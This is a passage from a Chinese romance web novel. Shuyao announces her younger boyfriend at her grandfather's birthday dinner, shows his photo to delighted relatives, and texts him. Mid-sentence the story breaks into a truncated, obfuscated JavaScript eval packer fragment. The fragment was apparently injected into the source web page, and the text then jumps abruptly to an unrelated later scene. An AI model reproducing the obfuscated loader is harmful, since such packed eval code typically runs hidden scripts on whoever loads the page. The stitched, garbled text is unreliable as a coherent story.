令众人没想到的是,这次的舒瑶不再敷衍他们一大家子,还给了他们一个大惊喜。 只见她笑得面若桃花,开心的说:“我有男朋友了,刚谈还不到半年,等稳定点,就带他来见见各位长辈们。” “啊?” “什么?” “真的假的?” “这下可好了!” “有没有照片?快拿来瞧瞧。” “多大年纪啊?” “在哪高就?” “长得帅不帅?” 面对一众热情的老少亲戚们,舒瑶弯着眼睛坦然道:“比我小点。但是很高很帅很优秀。我超喜欢。” “呃……”舒瑶的大姑在桌子底下轻轻踢了她一下,温言道:“这孩子,矜持点儿。” 舒瑶的二姑说:“小点也没什么,你能找着对象,我们已经很知足了。女生比男人大两、三岁的,可多着呢。你看看,你二姑夫就比我小两岁。” 舒瑶笑而不语。如果她说男友比自己小了七岁,估计二姑就笑不出来了。年龄的事在她看来已经不是问题,下次直接把人带到亲戚们面前。当面看见真人,亲戚们才会更直观地发现沈曜的优点。 舒瑶二姑性格开朗,听说家里这唯一的第三代女生独苗找到了男朋友,由衷的替她高兴。“有照片赶紧拿出来给我们瞧瞧。” 舒瑶今天来这里,早就有所准备,划开手机屏保,翻出一张沈曜穿西服打领带的工作证件照,递给二姑看。 “啊哟!这也太帅了吧!” “什么?快拿给我看看!” “真的好帅好帅!好俊美啊!” “长得这么帅,不怕被人抢了啊?” 抽气声此起彼伏,舒瑶心底与有荣焉,“放心吧,他可长情了,高中那会儿就喜欢我了,不是那么容易被抢走的。” 手机被传到舒瑶的爷爷奶奶手里,两位老人戴着老花镜凑在一起研究,“这小孩儿模样真好,配得上我家瑶瑶。他干什么工作的?” 舒瑶喝了一口温水,慢悠悠道:“企业法务。不过目前还在深造中。” 舒瑶的奶奶抬了抬眼镜,眯着眼睛笑起来,非常满意,“真好。工作也很体面,还稳定。” 舒瑶爷爷乐呵呵地望着这唯一的宝贝孙女,“等过年的时候,有空就将他带来给我们看看。” “知道了,爷爷。祝您生日快乐,寿比南山。”舒瑶对爷爷举起酒杯,“不过您不能多喝。抿一口就好啦。” 老人就像小孩儿,是需要哄的。 舒瑶爷爷乐哈哈地斥了她一句,但还是听话的只抿了一口老黄酒。 舒瑶几不可查的吁了口气,今天的第一关通过了。等会儿回家告诉他,他一定会很高兴的吧。 谁知开席还不到十几分钟,男友的消息就急吼吼地发了过来。 [亲亲男友:我过关了吗?] 舒瑶低下头,掩住春风拂面的笑容,[第一关顺利高分通过!] [亲亲男友:你什么时候能到家?] [宝贝女友:大概九点吧。] [亲亲男友:地址发我,等会儿我来接你。] 舒瑶抬眼瞄了瞄周围,将地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒瑶用手指轻轻刮了刮他的下颌骨,挑着眼看他,笑问:“如果,我就是那个袈裟呢?” 沈曜叹口气,一副拿她没辙的样子,“那我就认了。” “嘻嘻。”舒瑶望着他的眼睛水灵灵的,勾得他心痒。 他低头吻上她柔润的唇瓣,轻喃:“你说像,那就像吧。反正,我将永远只忠于你。”